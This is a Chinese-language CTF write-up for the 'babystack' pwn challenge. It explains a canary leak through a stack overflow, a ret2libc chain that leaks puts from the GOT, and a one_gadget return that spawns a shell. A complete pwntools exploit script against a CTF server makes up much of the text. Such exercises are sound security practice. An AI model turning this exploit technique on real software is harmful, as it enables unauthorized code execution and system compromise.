babystack-wp
对于这题和pwn-100的思路很像,也是一道retlibc3的题目,这题也学到了很多,故写一篇博客记录一下。
老样子checksec一下:
开了Canary、NX和RELRO无法改写got表
拖进IDA查看:
有两个函数被调用,一个是列表、一个是给v3赋值
函数逻辑很简单,溢出点也很明显,但是没有system函数和/bin/sh字符串比较麻烦又是retlibc3类型
但是这题和pwn-100不一样的是他给了libc-2.23.so文件,意味着我们不用LibcSearcher去寻找靶机的libc版本,比较方便但是他开了canary保护比较难整
这里又要讲一个新方法,原理不难可以说很好理解,但要了解pwntools的一些细节。
利用栈溢出泄露Canary
前提输入完后,最好有一个puts函数跟在下面把栈中内容输出。
这里v6就是Canary离栈底差8h,而s离栈底差90h二者相差88h,我们只要输入0x88个a就可以了,这边是个细节:有人会问为什么0x88就可以,明明没覆盖到canary
因为sendline是发送一行数据,所以会在末尾自动补个\n,而\n就是\0a正好覆盖到canary的低字节\00,本来puts碰到\00就会停止读取覆盖为\0a
就可以将Canary视为s的一部分一起打印出来,就可以泄露。
one_garget的使用
泄露完Canary后面思路都是老套路了,这里给了libc-2.23.so要如何用呢?这里有涉及到一个工具one_gadget
安装如下:
sudo apt -y install ruby
sudo gem install one_gadget
one_gadget就是用来去查找动态链接库里execve(“/bin/sh”, rsp+0x70, environ)函数的偏移地址的,还是很好用的。
注意是找偏移地址实际的libc地址还是要自己算。
ropper找到pop rdi;ret;
上exp讲解:
from pwn import*
io=remote("61.147.171.105",58094)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')#这就是格式记住
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0400908
pop_rdi=0x0400a93
one_gadget=0x45216
payload=b'a'*0x88
io.recvuntil(">> ")
io.sendline("1")
io.sendline(payload)
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil('a'*0x88+'\n')#因为sendline自己会补\n,所以要添上“\n”(网上都不讲的,想了半天)
canary=u64(io.recv(7).rjust(8,b'\x00'))#先接收7个字节,如果不够从低字节用\x00补齐到8字节
print(hex(canary))#打印看会不会收错
payload=b'a'*(0x90-8)+p64(canary)+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)#泄露puts的真实地址
io.recvuntil(">> ") #64位传参格式:参数(rdi、rsi、rdx……(6个)可能)+函数地址(plt)+预留返回地址
io.sendline("1") #32位传参格式:函数地址(plt)+预留返回地址+参数(栈空间)
io.sendline(payload)
io.sendlineafter('>> ','3')#这里一定要输入3退出才能执行return,才会执行rop链,以前的题目做好rop输入就可以,这题没想到要手动退出卡了好久
puts_addr=u64(io.recv(8).ljust(8,b'\x00'))#接收8个字节,如果不够高字节用\x00补齐
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
flag=one_gadget+libc_base
payload=b'a'*(0x90-8)+p64(canary)+b'a'*8+p64(flag)
io.recvuntil(">> ")
io.sendline("1")
io.sendline(payload)
io.sendlineafter('>> ','3')#记得退出
io.interactive()
获取shell:
附注覆盖图: